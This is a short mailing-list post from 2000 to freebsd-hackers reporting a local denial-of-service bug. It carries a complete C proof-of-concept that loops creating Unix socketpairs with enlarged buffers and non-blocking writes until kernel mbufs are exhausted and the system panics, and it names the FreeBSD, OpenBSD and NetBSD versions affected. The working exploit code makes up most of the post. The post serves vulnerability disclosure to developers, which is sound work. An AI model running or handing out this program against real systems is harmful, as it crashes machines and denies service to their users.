Date: Sun, 4 Jun 2000 10:34:40 +0400 (MSD) From: Oleg Derevenetz <oleg@oleg.vsi.ru> To: freebsd-hackers@freebsd.org Subject: DoS Message-ID: <Pine.BSF.4.21.0006041030070.282-100000@oleg.vsi.ru>
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Denial of Service and kernel panic (out of mbuf) appears when following program executes (originally reported by Sven Berkenvs (sven@ILSE.NL)). Affects FreeBSD 3.x & 4.0, OpenBSD 2.5, OpenBSD 2.6, NetBSD 1.4.1. #include <unistd.h> #include <sys/socket.h> #include <fcntl.h> #define BUFFERSIZE 204800 int main () { int p[2], i; char crap[BUFFERSIZE]; while (1) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK); write(p[0], crap, BUFFERSIZE); write(p[1], crap, BUFFERSIZE); } exit(0); } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message
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